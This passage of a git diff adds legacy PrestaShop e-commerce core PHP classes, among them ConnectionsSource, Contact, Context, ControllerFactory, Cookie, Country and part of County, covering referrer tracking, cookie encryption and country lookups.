`'._DB_PREFIX_.'connections_page` + WHERE time_start < LAST_DAY(DATE_SUB(NOW(), INTERVAL '.$interval.'))'); + } + } +} + + diff --git a/classes/ConnectionsSource.php b/classes/ConnectionsSource.php new file mode 100755 index 0000000..0e86de0 --- /dev/null +++ b/classes/ConnectionsSource.php @@ -0,0 +1,107 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ConnectionsSourceCore extends ObjectModel +{ + public $id_connections; + public $http_referer; + public $request_uri; + public $keywords; + public $date_add; + public static $uri_max_size = 255; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'connections_source', + 'primary' => 'id_connections_source', + 'fields' => array( + 'id_connections' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'http_referer' => array('type' => self::TYPE_STRING, 'validate' => 'isAbsoluteUrl'), + 'request_uri' => array('type' => self::TYPE_STRING, 'validate' => 'isUrl'), + 'keywords' => array('type' => self::TYPE_STRING, 'validate' => 'isMessage'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate', 'required' => true), + ), + ); + + public function add($autodate = true, $nullValues = false) + { + if ($result = parent::add($autodate, $nullValues)) + Referrer::cacheNewSource($this->id); + return $result; + } + + public static function logHttpReferer(Cookie $cookie = null) + { + if (!$cookie) + $cookie = Context::getContext()->cookie; + if (!isset($cookie->id_connections) || !Validate::isUnsignedId($cookie->id_connections)) + return false; + if (!isset($_SERVER['HTTP_REFERER']) && !Configuration::get('TRACKING_DIRECT_TRAFFIC')) + return false; + + $source = new ConnectionsSource(); + if (isset($_SERVER['HTTP_REFERER']) && Validate::isAbsoluteUrl($_SERVER['HTTP_REFERER'])) + { + $parsed = parse_url($_SERVER['HTTP_REFERER']); + $parsed_host = parse_url(Tools::getProtocol().Tools::getHttpHost(false, false).__PS_BASE_URI__); + if ((!isset($parsed['path']) ||!isset($parsed_host['path'])) || (preg_replace('/^www./', '', $parsed['host']) == preg_replace('/^www./', '', Tools::getHttpHost(false, false))) + && !strncmp($parsed['path'], $parsed_host['path'], strlen(__PS_BASE_URI__))) + return false; + if (Validate::isAbsoluteUrl(strval($_SERVER['HTTP_REFERER']))) + { + $source->http_referer = substr(strval($_SERVER['HTTP_REFERER']), 0, ConnectionsSource::$uri_max_size); + $source->keywords = trim(SearchEngine::getKeywords(strval($_SERVER['HTTP_REFERER']))); + if (!Validate::isMessage($source->keywords)) + return false; + } + } + + $source->id_connections = (int)$cookie->id_connections; + $source->request_uri = Tools::getHttpHost(false, false); + if (isset($_SERVER['REDIRECT_URL'])) + $source->request_uri .= strval($_SERVER['REDIRECT_URL']); + elseif (isset($_SERVER['REQUEST_URI'])) + $source->request_uri .= strval($_SERVER['REQUEST_URI']); + if (!Validate::isUrl($source->request_uri)) + $source->request_uri = ''; + $source->request_uri = substr($source->request_uri, 0, ConnectionsSource::$uri_max_size); + return $source->add(); + } + + public static function getOrderSources($id_order) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT cos.http_referer, cos.request_uri, cos.keywords, cos.date_add + FROM '._DB_PREFIX_.'orders o + INNER JOIN '._DB_PREFIX_.'guest g ON g.id_customer = o.id_customer + INNER JOIN '._DB_PREFIX_.'connections co ON co.id_guest = g.id_guest + INNER JOIN '._DB_PREFIX_.'connections_source cos ON cos.id_connections = co.id_connections + WHERE id_order = '.(int)($id_order).' + ORDER BY cos.date_add DESC'); + } +} diff --git a/classes/Contact.php b/classes/Contact.php new file mode 100755 index 0000000..a9a3189 --- /dev/null +++ b/classes/Contact.php @@ -0,0 +1,95 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ContactCore extends ObjectModel +{ + public $id; + + /** @var string Name */ + public $name; + + /** @var string e-mail */ + public $email; + + /** @var string Detailed description */ + public $description; + + public $customer_service; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'contact', + 'primary' => 'id_contact', + 'multilang' => true, + 'fields' => array( + 'email' => array('type' => self::TYPE_STRING, 'validate' => 'isEmail', 'size' => 128), + 'customer_service' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 32), + 'description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml'), + ), + ); + + /** + * Return available contacts + * + * @param integer $id_lang Language ID + * @param Context + * @return array Contacts + */ + public static function getContacts($id_lang) + { + $shop_ids = Shop::getContextListShopID(); + $sql = 'SELECT * + FROM `'._DB_PREFIX_.'contact` c + '.Shop::addSqlAssociation('contact', 'c', false).' + LEFT JOIN `'._DB_PREFIX_.'contact_lang` cl ON (c.`id_contact` = cl.`id_contact`) + WHERE cl.`id_lang` = '.(int)$id_lang.' + AND contact_shop.`id_shop` IN ('.implode(', ', array_map('intval', $shop_ids)).') + ORDER BY `name` ASC'; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + /** + * Return available categories contacts + * @return array Contacts + */ + public static function getCategoriesContacts() + { + return Db::getInstance()->executeS(' + SELECT cl.* + FROM '._DB_PREFIX_.'contact ct + LEFT JOIN '._DB_PREFIX_.'contact_lang cl + ON (cl.id_contact = ct.id_contact AND cl.id_lang = '.(int)Context::getContext()->language->id.') + WHERE ct.customer_service = 1 + '); + } +} + diff --git a/classes/Context.php b/classes/Context.php new file mode 100755 index 0000000..8382733 --- /dev/null +++ b/classes/Context.php @@ -0,0 +1,194 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class ContextCore +{ + /** + * @var Context + */ + protected static $instance; + + /** + * @var Cart + */ + public $cart; + + /** + * @var Customer + */ + public $customer; + + /** + * @var Cookie + */ + public $cookie; + + /** + * @var Link + */ + public $link; + + /** + * @var Country + */ + public $country; + + /** + * @var Employee + */ + public $employee; + + /** + * @var Controller + */ + public $controller; + + /** + * @var Language + */ + public $language; + + /** + * @var Currency + */ + public $currency; + + /** + * @var AdminTab + */ + public $tab; + + /** + * @var Shop + */ + public $shop; + + /** + * @var Smarty + */ + public $smarty; + + /** + * @ var Mobile Detect + */ + public $mobile_detect; + + /** + * @var boolean|string mobile device of the customer + */ + protected $mobile_device; + + public function getMobileDevice() + { + if (is_null($this->mobile_device)) + { + $this->mobile_device = false; + if ($this->checkMobileContext()) + { + if (isset(Context::getContext()->cookie->no_mobile) && Context::getContext()->cookie->no_mobile == false AND (int)Configuration::get('PS_ALLOW_MOBILE_DEVICE') != 0) + $this->mobile_device = true; + else + { + require_once(_PS_TOOL_DIR_.'mobile_Detect/Mobile_Detect.php'); + $this->mobile_detect = new Mobile_Detect(); + switch ((int)Configuration::get('PS_ALLOW_MOBILE_DEVICE')) + { + case 1: // Only for mobile device + if ($this->mobile_detect->isMobile() && !$this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + case 2: // Only for touchpads + if ($this->mobile_detect->isTablet() && $this->mobile_detect->isMobile()) + $this->mobile_device = true; + break; + case 3: // For touchpad or mobile devices + if ($this->mobile_detect->isMobile() || $this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + } + } + } + } + + return $this->mobile_device; + } + + protected function checkMobileContext() + { + // Check mobile context + if (Tools::isSubmit('no_mobile_theme')) + { + Context::getContext()->cookie->no_mobile = true; + if (Context::getContext()->cookie->id_guest) + { + $guest = new Guest(Context::getContext()->cookie->id_guest); + $guest->mobile_theme = false; + $guest->update(); + } + } + elseif (Tools::isSubmit('mobile_theme_ok')) + { + Context::getContext()->cookie->no_mobile = false; + if (Context::getContext()->cookie->id_guest) + { + $guest = new Guest(Context::getContext()->cookie->id_guest); + $guest->mobile_theme = true; + $guest->update(); + } + } + + return isset($_SERVER['HTTP_USER_AGENT']) + && isset(Context::getContext()->cookie) + && (bool)Configuration::get('PS_ALLOW_MOBILE_DEVICE') + && @filemtime(_PS_THEME_MOBILE_DIR_) + && !Context::getContext()->cookie->no_mobile; + } + + /** + * Get a singleton context + * + * @return Context + */ + public static function getContext() + { + if (!isset(self::$instance)) + self::$instance = new Context(); + return self::$instance; + } + + /** + * Clone current context + * + * @return Context + */ + public function cloneContext() + { + return clone($this); + } +} \ No newline at end of file diff --git a/classes/ControllerFactory.php b/classes/ControllerFactory.php new file mode 100755 index 0000000..945e161 --- /dev/null +++ b/classes/ControllerFactory.php @@ -0,0 +1,65 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Controllers don't need to be loaded with includeController anymore since they use Autoload + * + * @deprecated since 1.5.0 + */ +class ControllerFactoryCore +{ + /** + * @deprecated since 1.5.0 + */ + public static function includeController($className) + { + Tools::displayAsDeprecated(); + + if (!class_exists($className, false)) + { + require_once(dirname(__FILE__).'/../controllers/'.$className.'.php'); + if (file_exists(dirname(__FILE__).'/../override/controllers/'.$className.'.php')) + require_once(dirname(__FILE__).'/../override/controllers/'.$className.'.php'); + else + { + $coreClass = new ReflectionClass($className.'Core'); + if ($coreClass->isAbstract()) + eval('abstract class '.$className.' extends '.$className.'Core {}'); + else + eval('class '.$className.' extends '.$className.'Core {}'); + } + } + } + + /** + * @deprecated since 1.5.0 + */ + public static function getController($className, $auth = false, $ssl = false) + { + ControllerFactory::includeController($className); + return new $className($auth, $ssl); + } +} \ No newline at end of file diff --git a/classes/Cookie.php b/classes/Cookie.php new file mode 100755 index 0000000..655ada6 --- /dev/null +++ b/classes/Cookie.php @@ -0,0 +1,395 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CookieCore +{ + /** @var array Contain cookie content in a key => value format */ + protected $_content; + + /** @var array Crypted cookie name for setcookie() */ + protected $_name; + + /** @var array expiration date for setcookie() */ + protected $_expire; + + /** @var array Website domain for setcookie() */ + protected $_domain; + + /** @var array Path for setcookie() */ + protected $_path; + + /** @var array cipher tool instance */ + protected $_cipherTool; + + /** @var array cipher tool initialization key */ + protected $_key; + + /** @var array cipher tool initilization vector */ + protected $_iv; + + protected $_modified = false; + + protected $_allow_writing; + + /** + * Get data if the cookie exists and else initialize an new one + * + * @param $name Cookie name before encrypting + * @param $path + */ + public function __construct($name, $path = '', $expire = null, $shared_urls = null) + { + $this->_content = array(); + $this->_expire = is_null($expire) ? time() + 1728000 : (int)$expire; + $this->_name = md5(_PS_VERSION_.$name); + $this->_path = trim(Context::getContext()->shop->physical_uri.$path, '/\\').'/'; + if ($this->_path{0} != '/') $this->_path = '/'.$this->_path; + $this->_path = rawurlencode($this->_path); + $this->_path = str_replace('%2F', '/', $this->_path); + $this->_path = str_replace('%7E', '~', $this->_path); + $this->_key = _COOKIE_KEY_; + $this->_iv = _COOKIE_IV_; + $this->_domain = $this->getDomain($shared_urls); + $this->_allow_writing = true; + if (Configuration::get('PS_CIPHER_ALGORITHM')) + $this->_cipherTool = new Rijndael(_RIJNDAEL_KEY_, _RIJNDAEL_IV_); + else + $this->_cipherTool = new Blowfish($this->_key, $this->_iv); + $this->update(); + } + + public function disallowWriting() + { + $this->_allow_writing = false; + } + + protected function getDomain($shared_urls = null) + { + $r = '!(?:(\w+)://)?(?:(\w+)\:(\w+)@)?([^/:]+)?(?:\:(\d*))?([^#?]+)?(?:\?([^#]+))?(?:#(.+$))?!i'; + + if (!preg_match ($r, Tools::getHttpHost(false, false), $out) || !isset($out[4])) + return false; + + if (preg_match('/^(((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]{1}[0-9]|[1-9]).)'. + '{1}((25[0-5]|2[0-4][0-9]|[1]{1}[0-9]{2}|[1-9]{1}[0-9]|[0-9]).)'. + '{2}((25[0-5]|2[0-4][0-9]|[1]{1}[0-9]{2}|[1-9]{1}[0-9]|[0-9]){1}))$/', $out[4])) + return false; + if (!strstr(Tools::getHttpHost(false, false), '.')) + return false; + + $domain = false; + if ($shared_urls !== null) + { + foreach ($shared_urls as $shared_url) + { + if ($shared_url != $out[4]) + continue; + if (preg_match('/^(?:.*\.)?([^.]*(?:.{2,4})?\..{2,3})$/Ui', $shared_url, $res)) + { + $domain = '.'.$res[1]; + break; + } + } + } + if (!$domain) + $domain = $out[4]; + return $domain; + } + + /** + * Set expiration date + * + * @param integer $expire Expiration time from now + */ + public function setExpire($expire) + { + $this->_expire = (int)($expire); + } + + /** + * Magic method wich return cookie data from _content array + * + * @param $key key wanted + * @return string value corresponding to the key + */ + public function __get($key) + { + return isset($this->_content[$key]) ? $this->_content[$key] : false; + } + + /** + * Magic method which check if key exists in the cookie + * + * @param $key key wanted + * @return boolean key existence + */ + public function __isset($key) + { + return isset($this->_content[$key]); + } + + /** + * Magic method wich add data into _content array + * + * @param $key key desired + * @param $value value corresponding to the key + */ + public function __set($key, $value) + { + if (is_array($value)) + die(Tools::displayError()); + if (preg_match('/¤|\|/', $key.$value)) + throw new Exception('Forbidden chars in cookie'); + if (!$this->_modified && (!isset($this->_content[$key]) || (isset($this->_content[$key]) && $this->_content[$key] != $value))) + $this->_modified = true; + $this->_content[$key] = $value; + } + + /** + * Magic method wich delete data into _content array + * + * @param $key key wanted + */ + public function __unset($key) + { + if (isset($this->_content[$key])) + $this->_modified = true; + unset($this->_content[$key]); + } + + /** + * Check customer informations saved into cookie and return customer validity + * + * @deprecated as of version 1.5 use Customer::isLogged() instead + * @return boolean customer validity + */ + public function isLogged($withGuest = false) + { + Tools::displayAsDeprecated(); + if (!$withGuest && $this->is_guest == 1) + return false; + + /* Customer is valid only if it can be load and if cookie password is the same as database one */ + if ($this->logged == 1 && $this->id_customer && Validate::isUnsignedId($this->id_customer) && Customer::checkPassword((int)($this->id_customer), $this->passwd)) + return true; + return false; + } + + /** + * Check employee informations saved into cookie and return employee validity + * + * @deprecated as of version 1.5 use Employee::isLoggedBack() instead + * @return boolean employee validity + */ + public function isLoggedBack() + { + Tools::displayAsDeprecated(); + /* Employee is valid only if it can be load and if cookie password is the same as database one */ + return ($this->id_employee + && Validate::isUnsignedId($this->id_employee) + && Employee::checkPassword((int)$this->id_employee, $this->passwd) + && (!isset($this->_content['remote_addr']) || $this->_content['remote_addr'] == ip2long(Tools::getRemoteAddr()) || !Configuration::get('PS_COOKIE_CHECKIP')) + ); + } + + /** + * Delete cookie + * As of version 1.5 don't call this function, use Customer::logout() or Employee::logout() instead; + */ + public function logout() + { + $this->_content = array(); + $this->_setcookie(); + unset($_COOKIE[$this->_name]); + $this->_modified = true; + } + + /** + * Soft logout, delete everything links to the customer + * but leave there affiliate's informations. + * As of version 1.5 don't call this function, use Customer::mylogout() instead; + */ + public function mylogout() + { + unset($this->_content['id_compare']); + unset($this->_content['id_customer']); + unset($this->_content['id_guest']); + unset($this->_content['is_guest']); + unset($this->_content['id_connections']); + unset($this->_content['customer_lastname']); + unset($this->_content['customer_firstname']); + unset($this->_content['passwd']); + unset($this->_content['logged']); + unset($this->_content['email']); + unset($this->_content['id_cart']); + unset($this->_content['id_address_invoice']); + unset($this->_content['id_address_delivery']); + $this->_modified = true; + } + + public function makeNewLog() + { + unset($this->_content['id_customer']); + unset($this->_content['id_guest']); + Guest::setNewGuest($this); + $this->_modified = true; + } + + /** + * Get cookie content + */ + public function update($nullValues = false) + { + if (isset($_COOKIE[$this->_name])) + { + /* Decrypt cookie content */ + $content = $this->_cipherTool->decrypt($_COOKIE[$this->_name]); + //printf("\$content = %s
", $content); + + /* Get cookie checksum */ + $checksum = crc32($this->_iv.substr($content, 0, strrpos($content, '¤') + 2)); + //printf("\$checksum = %s
", $checksum); + + /* Unserialize cookie content */ + $tmpTab = explode('¤', $content); + foreach ($tmpTab as $keyAndValue) + { + $tmpTab2 = explode('|', $keyAndValue); + if (count($tmpTab2) == 2) + $this->_content[$tmpTab2[0]] = $tmpTab2[1]; + } + /* Blowfish fix */ + if (isset($this->_content['checksum'])) + $this->_content['checksum'] = (int)($this->_content['checksum']); + //printf("\$this->_content['checksum'] = %s
", $this->_content['checksum']); + //die(); + /* Check if cookie has not been modified */ + if (!isset($this->_content['checksum']) || $this->_content['checksum'] != $checksum) + $this->logout(); + + if (!isset($this->_content['date_add'])) + $this->_content['date_add'] = date('Y-m-d H:i:s'); + } + else + $this->_content['date_add'] = date('Y-m-d H:i:s'); + + //checks if the language exists, if not choose the default language + if (!Language::getLanguage((int)$this->id_lang)) + $this->id_lang = Configuration::get('PS_LANG_DEFAULT'); + + } + + /** + * Setcookie according to php version + */ + protected function _setcookie($cookie = null) + { + if ($cookie) + { + $content = $this->_cipherTool->encrypt($cookie); + $time = $this->_expire; + } + else + { + $content = 0; + $time = 1; + } + if (PHP_VERSION_ID <= 50200) /* PHP version > 5.2.0 */ + return setcookie($this->_name, $content, $time, $this->_path, $this->_domain, 0); + else + return setcookie($this->_name, $content, $time, $this->_path, $this->_domain, 0, true); + } + + public function __destruct() + { + $this->write(); + } + + /** + * Save cookie with setcookie() + */ + public function write() + { + if (!$this->_modified || headers_sent() || !$this->_allow_writing) + return; + + $cookie = ''; + + /* Serialize cookie content */ + if (isset($this->_content['checksum'])) unset($this->_content['checksum']); + foreach ($this->_content as $key => $value) + $cookie .= $key.'|'.$value.'¤'; + + /* Add checksum to cookie */ + $cookie .= 'checksum|'.crc32($this->_iv.$cookie); + $this->_modified = false; + /* Cookies are encrypted for evident security reasons */ + return $this->_setcookie($cookie); + } + + /** + * Get a family of variables (e.g. "filter_") + */ + public function getFamily($origin) + { + $result = array(); + if (count($this->_content) == 0) + return $result; + foreach ($this->_content as $key => $value) + if (strncmp($key, $origin, strlen($origin)) == 0) + $result[$key] = $value; + return $result; + } + + /** + * + */ + public function unsetFamily($origin) + { + $family = $this->getFamily($origin); + foreach (array_keys($family) as $member) + unset($this->$member); + } + + /** + * @return String name of cookie + */ + public function getName() + { + return $this->_name; + } + + /** + * Check if the cookie exists + * + * @since 1.5.0 + * @return bool + */ + public function exists() + { + return isset($_COOKIE[$this->_name]); + } +} diff --git a/classes/Country.php b/classes/Country.php new file mode 100755 index 0000000..d9c96d5 --- /dev/null +++ b/classes/Country.php @@ -0,0 +1,373 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CountryCore extends ObjectModel +{ + public $id; + + /** @var integer Zone id which country belongs */ + public $id_zone; + + /** @var integer Currency id which country belongs */ + public $id_currency; + + /** @var string 2 letters iso code */ + public $iso_code; + + /** @var integer international call prefix */ + public $call_prefix; + + /** @var string Name */ + public $name; + + /** @var boolean Contain states */ + public $contains_states; + + /** @var boolean Need identification number dni/nif/nie */ + public $need_identification_number; + + /** @var boolean Need Zip Code */ + public $need_zip_code; + + /** @var string Zip Code Format */ + public $zip_code_format; + + /** @var boolean Display or not the tax incl./tax excl. mention in the front office */ + public $display_tax_label = true; + + /** @var boolean Status for delivery */ + public $active = true; + + protected static $_idZones = array(); + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'country', + 'primary' => 'id_country', + 'multilang' => true, + 'fields' => array( + 'id_zone' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_currency' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'call_prefix' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'iso_code' => array('type' => self::TYPE_STRING, 'validate' => 'isLanguageIsoCode', 'required' => true, 'size' => 3), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'contains_states' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'need_identification_number' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'need_zip_code' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'zip_code_format' => array('type' => self::TYPE_STRING, 'validate' => 'isZipCodeFormat'), + 'display_tax_label' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + + /* Lang fields */ + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 64), + ), + 'associations' => array( + 'zone' => array('type' => self::HAS_ONE), + 'currency' => array('type' => self::HAS_ONE), + ) + ); + + protected static $cache_iso_by_id = array(); + + protected $webserviceParameters = array( + 'objectsNodeName' => 'countries', + 'fields' => array( + 'id_zone' => array('xlink_resource'=> 'zones'), + 'id_currency' => array('xlink_resource'=> 'currencies'), + ), + ); + + public function delete() + { + if (!parent::delete()) + return false; + return Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'cart_rule_country WHERE id_country = '.(int)$this->id); + } + + /** + * @brief Return available countries + * + * @param integer $id_lang Language ID + * @param boolean $active return only active coutries + * @param boolean $contain_states return only country with states + * @param boolean $list_states Include the states list with the returned list + * + * @return Array Countries and corresponding zones + */ + public static function getCountries($id_lang, $active = false, $contain_states = false, $list_states = true) + { + $countries = array(); + foreach (Db::getInstance(_PS_USE_SQL_SLAVE_)->ExecuteS('SELECT cl.*,c.*, cl.`name` country, z.`name` zone + FROM `'._DB_PREFIX_.'country` c '.Shop::addSqlAssociation('country', 'c').' + LEFT JOIN `'._DB_PREFIX_.'country_lang` cl ON (c.`id_country` = cl.`id_country` AND cl.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'zone` z ON (z.`id_zone` = c.`id_zone`) + WHERE 1'.($active ? ' AND c.active = 1' : '').($contain_states ? ' AND c.`contains_states` = '.(int)$contain_states : '').' + ORDER BY cl.name ASC') as $country) + $countries[$country['id_country']] = $country; + + if ($list_states) + foreach (Db::getInstance(_PS_USE_SQL_SLAVE_)->ExecuteS('SELECT * FROM `'._DB_PREFIX_.'state` ORDER BY `name` ASC') as $state) + if (isset($countries[$state['id_country']])) /* Does not keep the state if its country has been disabled and not selected */ + if ($state['active'] == 1) + $countries[$state['id_country']]['states'][] = $state; + + return $countries; + } + + public static function getCountriesByIdShop($id_shop, $id_lang) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->ExecuteS(' + SELECT * + FROM `'._DB_PREFIX_.'country` c + LEFT JOIN `'._DB_PREFIX_.'country_shop` cs ON (cs.`id_country`= c.`id_country`) + LEFT JOIN `'._DB_PREFIX_.'country_lang` cl ON (c.`id_country` = cl.`id_country` AND cl.`id_lang` = '.(int)$id_lang.') + WHERE `id_shop` = '.(int)$id_shop); + } + + /** + * Get a country ID with its iso code + * + * @param string $iso_code Country iso code + * @return integer Country ID + */ + public static function getByIso($iso_code) + { + if (!Validate::isLanguageIsoCode($iso_code)) + die(Tools::displayError()); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT `id_country` + FROM `'._DB_PREFIX_.'country` + WHERE `iso_code` = \''.pSQL(strtoupper($iso_code)).'\''); + + return $result['id_country']; + } + + public static function getIdZone($id_country) + { + if (!Validate::isUnsignedId($id_country)) + die(Tools::displayError()); + + if (isset(self::$_idZones[$id_country])) + return self::$_idZones[$id_country]; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT `id_zone` + FROM `'._DB_PREFIX_.'country` + WHERE `id_country` = '.(int)$id_country); + + self::$_idZones[$id_country] = $result['id_zone']; + return $result['id_zone']; + } + + /** + * Get a country name with its ID + * + * @param integer $id_lang Language ID + * @param integer $id_country Country ID + * @return string Country name + */ + public static function getNameById($id_lang, $id_country) + { + $key = 'country_getNameById_'.$id_country.'_'.$id_lang; + if (!Cache::isStored($key)) + Cache::store($key, Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `name` + FROM `'._DB_PREFIX_.'country_lang` + WHERE `id_lang` = '.(int)$id_lang.' + AND `id_country` = '.(int)$id_country + )); + + return Cache::retrieve($key); + } + + /** + * Get a country iso with its ID + * + * @param integer $id_country Country ID + * @return string Country iso + */ + public static function getIsoById($id_country) + { + if (!isset(Country::$cache_iso_by_id[$id_country])) + { + Country::$cache_iso_by_id[$id_country] = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `iso_code` + FROM `'._DB_PREFIX_.'country` + WHERE `id_country` = '.(int)($id_country)); + } + + return Country::$cache_iso_by_id[$id_country]; + } + + /** + * Get a country id with its name + * + * @param integer $id_lang Language ID + * @param string $country Country Name + * @return intval Country id + */ + public static function getIdByName($id_lang = null, $country) + { + $sql = ' + SELECT `id_country` + FROM `'._DB_PREFIX_.'country_lang` + WHERE `name` LIKE \''.pSQL($country).'\''; + if ($id_lang) + $sql .= ' AND `id_lang` = '.(int)$id_lang; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + + return (int)$result['id_country']; + } + + public static function getNeedZipCode($id_country) + { + if (!(int)$id_country) + return false; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `need_zip_code` + FROM `'._DB_PREFIX_.'country` + WHERE `id_country` = '.(int)$id_country); + } + + public static function getZipCodeFormat($id_country) + { + if (!(int)$id_country) + return false; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `zip_code_format` + FROM `'._DB_PREFIX_.'country` + WHERE `id_country` = '.(int)$id_country); + } + + /** + * Returns the default country Id + * + * @deprecated as of 1.5 use $context->country->id instead + * @return integer default country id + */ + public static function getDefaultCountryId() + { + Tools::displayAsDeprecated(); + return Context::getContext()->country->id; + } + + public static function getCountriesByZoneId($id_zone, $id_lang) + { + if (empty($id_zone) || empty($id_lang)) + die(Tools::displayError()); + + $sql = ' SELECT DISTINCT c.*, cl.* + FROM `'._DB_PREFIX_.'country` c + '.Shop::addSqlAssociation('country', 'c', false).' + LEFT JOIN `'._DB_PREFIX_.'state` s ON (s.`id_country` = c.`id_country`) + LEFT JOIN `'._DB_PREFIX_.'country_lang` cl ON (c.`id_country` = cl.`id_country`) + WHERE (c.`id_zone` = '.(int)$id_zone.' OR s.`id_zone` = '.(int)$id_zone.') + AND `id_lang` = '.(int)$id_lang; + return Db::getInstance()->executeS($sql); + } + + public function isNeedDni() + { + return Country::isNeedDniByCountryId($this->id); + } + + public static function isNeedDniByCountryId($id_country) + { + return (bool)Db::getInstance()->getValue(' + SELECT `need_identification_number` + FROM `'._DB_PREFIX_.'country` + WHERE `id_country` = '.(int)$id_country); + } + + public static function containsStates($id_country) + { + return (bool)Db::getInstance()->getValue(' + SELECT `contains_states` + FROM `'._DB_PREFIX_.'country` + WHERE `id_country` = '.(int)$id_country); + } + + /** + * @param $ids_countries + * @param $id_zone + * @return bool + */ + public function affectZoneToSelection($ids_countries, $id_zone) + { + // cast every array values to int (security) + $ids_countries = array_map('intval', $ids_countries); + return Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'country` SET `id_zone` = '.(int)$id_zone.' WHERE `id_country` IN ('.implode(',', $ids_countries).') + '); + } + + /** + * Replace letters of zip code format And check this format on the zip code + * @param $zip_code + * @return (bool) + */ + public function checkZipCode($zip_code) + { + $zip_regexp = '/^'.$this->zip_code_format.'$/ui'; + $zip_regexp = str_replace(' ', '( |)', $zip_regexp); + $zip_regexp = str_replace('-', '(-|)', $zip_regexp); + $zip_regexp = str_replace('N', '[0-9]', $zip_regexp); + $zip_regexp = str_replace('L', '[a-zA-Z]', $zip_regexp); + $zip_regexp = str_replace('C', $this->iso_code, $zip_regexp); + + return (bool)preg_match($zip_regexp, $zip_code); + } + + public static function addModuleRestrictions(array $shops = array(), array $countries = array(), array $modules = array()) + { + if (!count($shops)) + $shops = Shop::getShops(true, null, true); + + if (!count($countries)) + $countries = Country::getCountries((int)Context::getContext()->cookie->id_lang); + + if (!count($modules)) + $modules = Module::getPaymentModules(); + + $sql = false; + foreach ($shops as $id_shop) + foreach ($countries as $country) + foreach ($modules as $module) + $sql .= '('.(int)$module['id_module'].', '.(int)$id_shop.', '.(int)$country['id_country'].'),'; + + if ($sql) + { + $sql = 'INSERT IGNORE INTO `'._DB_PREFIX_.'module_country` (`id_module`, `id_shop`, `id_country`) VALUES '.rtrim($sql, ','); + return Db::getInstance()->execute($sql); + } + else + return true; + } +} diff --git a/classes/County.php b/classes/County.php new file mode 100755 index 0000000..dfca495 --- /dev/null +++ b/classes/County.php @@ -0,0 +1,160 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + + +/** +* @deprecated since 1.5 +*/ +class CountyCore extends ObjectModel +{ + public $id; + public $name; + public $id_state; + public $active; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'county', + 'primary' => 'id_county', + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 64), + 'id_state' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + ), + ); + + protected static $_cache_get_counties = array(); + protected static $_cache_county_zipcode = array(); + + const USE_BOTH_TAX = 0; + const USE_COUNTY_TAX = 1; + const USE_STATE_TAX = 2; + + protected $webserviceParameters = array( + 'fields' => array( + 'id_state' => array('xlink_resource'=> 'states'), + ), + ); + + public function delete() + { + return true; + } + + /** + * @deprecated since 1.5 + */ + public static function 